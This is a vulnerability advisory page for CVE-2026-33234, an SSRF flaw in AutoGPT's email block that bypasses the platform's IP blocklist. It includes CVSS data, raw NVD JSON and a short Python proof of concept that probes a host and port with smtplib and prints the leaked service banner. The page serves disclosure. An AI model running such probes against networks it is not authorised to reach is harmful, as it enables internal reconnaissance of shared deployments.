Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-33234 CVSS 5.0 MEDIUM

CVE-2026-33234

Published: 2026-05-19 02:16:16
Last Modified: 2026-05-19 17:16:22

Description

AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. In versions 0.1.0 through 0.6.51, SendEmailBlock in autogpt_platform/backend/backend/blocks/email_block.py accepts a user-supplied smtp_server (string) and smtp_port (integer) as per-execution block inputs, then passes them directly to Python's smtplib.SMTP() to open a raw TCP connection with no IP address validation. This completely bypasses the platform's hardened SSRF protections in backend/util/request.py β€” the validate_url_host() function and BLOCKED_IP_NETWORKS blocklist that every other block uses to block connections to private, loopback, link-local, and cloud metadata addresses. An authenticated user on a shared AutoGPT deployment can use this to perform non-blind internal network port scanning and service fingerprinting: smtplib reads the target's TCP banner on connect and embeds it in the exception message, which is persisted as user-visible block output via the execution framework. This issue has been fixed in version 0.6.52.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

AutoGPT 0.1.0 - 0.6.51

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33234 # This script demonstrates the vulnerable behavior of passing arbitrary IPs to smtplib. import smtplib def exploit_ssrf(target_ip, target_port): try: # Simulating the vulnerable SendEmailBlock logic print(f"[*] Connecting to {target_ip}:{target_port}...") # The vulnerable code calls smtplib.SMTP(user_input_server, user_input_port) conn = smtplib.SMTP(target_ip, target_port, timeout=3) print(f"[+] Port {target_port} is open on {target_ip}") conn.quit() except smtplib.SMTPConnectError as e: # The exception often contains the server banner, revealing service info banner = str(e) print(f"[-] Connection failed: {banner}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Example: Scanning localhost port 22 (SSH) exploit_ssrf("127.0.0.1", 22)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33234", "sourceIdentifier": "[email protected]", "published": "2026-05-19T02:16:16.010", "lastModified": "2026-05-19T17:16:21.817", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "AutoGPT is a workflow automation platform for creating, deploying, and managing continuous artificial intelligence agents. In versions 0.1.0 through 0.6.51, SendEmailBlock in autogpt_platform/backend/backend/blocks/email_block.py accepts a user-supplied smtp_server (string) and smtp_port (integer) as per-execution block inputs, then passes them directly to Python's smtplib.SMTP() to open a raw TCP connection with no IP address validation. This completely bypasses the platform's hardened SSRF protections in backend/util/request.py β€” the validate_url_host() function and BLOCKED_IP_NETWORKS blocklist that every other block uses to block connections to private, loopback, link-local, and cloud metadata addresses. An authenticated user on a shared AutoGPT deployment can use this to perform non-blind internal network port scanning and service fingerprinting: smtplib reads the target's TCP banner on connect and embeds it in the exception message, which is persisted as user-visible block output via the execution framework. This issue has been fixed in version 0.6.52."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Significant-Gravitas/AutoGPT/releases/tag/autogpt-platform-beta-v0.6.52", "source": "[email protected]"}, {"url": "https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-4jwj-6mg5-wrwf", "source": "[email protected]"}, {"url": "https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-4jwj-6mg5-wrwf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}